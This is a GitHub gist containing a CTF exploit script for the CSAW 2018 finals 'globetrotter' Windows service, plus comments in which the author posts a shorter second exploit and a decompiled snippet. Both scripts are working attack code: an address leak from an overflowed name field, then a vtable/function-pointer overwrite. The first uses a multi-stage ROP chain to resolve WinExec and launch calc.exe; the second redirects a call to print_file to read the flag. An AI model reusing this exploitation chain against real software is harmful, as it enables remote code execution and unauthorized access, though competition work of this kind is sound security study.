Skip to content

Instantly share code, notes, and snippets.

@andreafioraldi
Created November 10, 2018 16:40
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save andreafioraldi/8288119b23f12817d09de8440e29a3c3 to your computer and use it in GitHub Desktop.
Save andreafioraldi/8288119b23f12817d09de8440e29a3c3 to your computer and use it in GitHub Desktop.
'''
author: Andrea Fioraldi
team: TheRomanXpl0it
ctf: CSAW18 finals
'''
from pwn import *
#context.log_level = "debug"
p = remote("localhost" if len(sys.argv) == 1 else "1.chal.csaw.io", 4321)
#p = process("./globetrotter.exe")
def menu(c):
p.recvuntil("MENU SELECTION:")
p.sendline(str(c))
def book1(name, num):
print "."
menu(1)
p.recvuntil(":")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(num))
p.recvuntil("MENU")
p.sendline()
def print_res(idx):
menu(3)
p.recvuntil(":")
p.sendline(str(idx))
r = p.recvuntil("MENU")
p.sendline()
return r
def modify(idx, name=None, num=None):
menu(4)
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil("(Y/N)?")
if num is None:
p.sendline("N")
else:
p.sendline("Y")
p.recvuntil(":")
p.sendline(str(num))
if name is None:
p.sendline("N")
else:
p.sendline("Y")
p.recvuntil(":")
p.sendline(str(name))
p.recvuntil("MENU")
p.sendline()
book1("a", 1)
book1("a", 2)
book1("a", 3)
book1("a", 4)
book1("a", 5)
book1("a", 6)
book1("a", 7)
book1("a", 8)
book1("a", 9)
book1("a", 10)
book1("a", 11)
book1("a", 12)
book1("a", 13)
book1("a", 14)
book1("a", 15)
book1("a"*64, 1337)
leak = print_res(15)
leak = u64(leak[leak.find("a"*64)+64:][:6]+"\x00"*2)
#print "leak 0x%x"%leak
base = leak - 0x1BC0
print "base 0x%x"%base
kernel32_str = base + 156016
winexec_str = base + 156080
custom_print = base + 0x18E0
recv_n_line = base + 0x1E40
# stage 1
rop = ""
rop += p64(base + 0x0000000000001f24) #: pop rax; ret;
rop += p64(kernel32_str) #
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += "k\x00e\x00r\x00n\x00"
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret;
rop += p64(base + 0x0000000000001f24) #: pop rax; ret;
rop += p64(kernel32_str + 8) #
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += "e\x00l\x003\x002\x00"
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret;
rop += p64(base + 0x0000000000001f24) #: pop rax; ret;
rop += p64(kernel32_str + 16) #
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += ".\x00d\x00l\x00l\x00"
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret;
rop += p64(base + 0x0000000000001f24) #: pop rax; ret;
rop += p64(winexec_str) #
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += "WinExec\x00"
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret;
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(base + 0x1B108 + (1 if len(sys.argv) > 1 else 0)) # #LoadLibraryExW idata
rop += p64(custom_print) # #custom_print
rop += p64(base + 0x2155)
p.recvuntil("MENU SELECTION:")
p.sendline("O"*32 + rop.ljust(224, "\x00"))
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret;
leak = print_res(15)
if len(sys.argv) > 1:
LoadLibraryExW = u64("\0" + leak[3:][:5]+"\0\0")
else: LoadLibraryExW = u64(leak[3:][:6]+"\0\0")
print "LoadLibraryExW 0x%x" % LoadLibraryExW
# stage 2
rop = ""
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(base + 0x1B100) # #GetProcAddress idata
rop += p64(custom_print) # #custom_print
rop += p64(base + 0x2155)
p.recvuntil("MENU SELECTION:")
p.sendline("O"*32 + rop.ljust(224, "\x00"))
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret;
leak = print_res(15)
GetProcAddress = u64(leak[3:][:6]+"\0\0")
print "GetProcAddress 0x%x" % GetProcAddress
# stage 3
rop = ""
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(kernel32_str) # #kernel32 str
rop += p64(base + 0x0000000000001316) #: pop rdx; ret;
rop += p64(0) #
rop += p64(base + 0x0000000000001f23) #: pop r8; ret;
rop += p64(0) #
rop += p64(LoadLibraryExW)
rop += p64(base + 0x0000000000001bb6) #add rsp, 0x28; ret;
rop += "a"*8
rop += "a"*8
rop += "a"*8
rop += "a"*8
rop += "a"*8
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(base + 156736) #
rop += p64(base + 0x000000000000b376) #: mov qword ptr [rcx + 8], rax; ret;
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(base + 156736 +8 +2) #
rop += p64(custom_print) # #custom_print
rop += p64(base + 0x2155)
p.recvuntil("MENU SELECTION:")
p.sendline("O"*32 + rop.ljust(224, "\x00"))
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret;
leak = print_res(15)
kernel32 = u64("\0\0" + leak[3:][:4]+"\0\0")
print "kernel32 0x%x" % kernel32
# stage 4
rop = ""
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(kernel32) #
rop += p64(base + 0x0000000000001316) #: pop rdx; ret;
rop += p64(winexec_str) # #winexec str
rop += p64(GetProcAddress)
rop += p64(base + 0x0000000000001bb6) #add rsp, 0x28; ret;
rop += "a"*8
rop += "a"*8
rop += "a"*8
rop += "a"*8
rop += "a"*8
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(base + 156736) #
rop += p64(base + 0x000000000000b376) #: mov qword ptr [rcx + 8], rax; ret;
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret;
rop += p64(base + 156736 +8) #
rop += p64(custom_print) # #custom_print
rop += p64(base + 0x2155)
p.recvuntil("MENU SELECTION:")
p.sendline("O"*32 + rop.ljust(224, "\x00"))
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret;
leak = print_res(15)
WinExec = u64(leak[3:][:6]+"\0\0")
print "WinExec 0x%x" % WinExec
# profit
modify(15, "a"*64+p64(recv_n_line)[:6])
menu(3)
p.recvuntil(":")
p.sendline(str(15))
p.sendline("calc.exe")
p.recvuntil("MENU")
p.sendline()
modify(15, "a"*64+p64(WinExec)[:6])
menu(3)
p.recvuntil(":")
p.sendline(str(15))
p.interactive()
@gaasedelen
Copy link

Nice work! The expected solution was much simpler :-)

https://gist.github.com/gaasedelen/5fdf2cf102ada748b398969258d02b99

@andreafioraldi
Copy link
Author

ah fuck i got RCE when it was not needed

@andreafioraldi
Copy link
Author

andreafioraldi commented Nov 12, 2018

@gaasedelen I did not see the print_file function because it is never called. Now i understand the 200 points of the challenge.
Now with this information also your exploit is not the simplest.
With this one you can avoid ROP at all:

from pwn import *

p = remote("localhost" if len(sys.argv) == 1 else "1.chal.csaw.io", 4321)
#p = process("./globetrotter.exe")

def menu(c):
    p.recvuntil("MENU SELECTION:")
    p.sendline(str(c))

def book1(name, num):
    print "."
    menu(1)
    p.recvuntil(":")
    p.sendline(name)
    p.recvuntil(":")
    p.sendline(str(num))
    p.recvuntil("MENU")
    p.sendline()

def print_res(idx):
    menu(3)
    p.recvuntil(":")
    p.sendline(str(idx))
    r = p.recvuntil("MENU")
    p.sendline()
    return r

def modify(idx, name=None, num=None):
    menu(4)
    p.recvuntil(":")
    p.sendline(str(idx))
    p.recvuntil("(Y/N)?")
    if num is None:
        p.sendline("N")
    else:
        p.sendline("Y")
        p.recvuntil(":")
        p.sendline(str(num))
    if name is None:
        p.sendline("N")
    else:
        p.sendline("Y")
        p.recvuntil(":")
        p.sendline(str(name))
    p.recvuntil("MENU")
    p.sendline()

book1("a", 1)
book1("a", 2)
book1("a", 3)
book1("a", 4)
book1("a", 5)

book1("a"*64, 1337)

leak = print_res(5)
leak = u64(leak[leak.find("a"*64)+64:][:6]+"\x00"*2)

base = leak - 0x1BC0
print "base 0x%x"%base

recv_n_line = base + 0x1E40
print_file = base + 0x1000

modify(5, "a"*64+p64(recv_n_line)[:6])
menu(3)
p.recvuntil(":")
p.sendline(str(5))
p.sendline("flag\x00")
p.recvuntil("MENU")
p.sendline()

modify(5, "a"*64+p64(print_file)[:6])

menu(3)
p.recvuntil(":")
p.sendline(str(5))

p.interactive()

The ticket num of the reservation can be used as size for a read:

__int64 print_revervation()
{
  __int64 result; // rax
  __int128 v1; // [rsp+20h] [rbp-28h]

  *(&v1 + 1) = 0i64;
  result = get_ticket_num(&v1 + 1);
  if ( result )
    result = (backer[*(&v1 + 1)]->vptr)(backer[*(&v1 + 1)], *(&v1 + 1)); // read_n_line(reservation, ticket_num)
  return result;
}

So you can overwrite the active field of the reservation structure with a string and it is not a problem because the check in get_ticket_num is simply reservation.active != 0.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment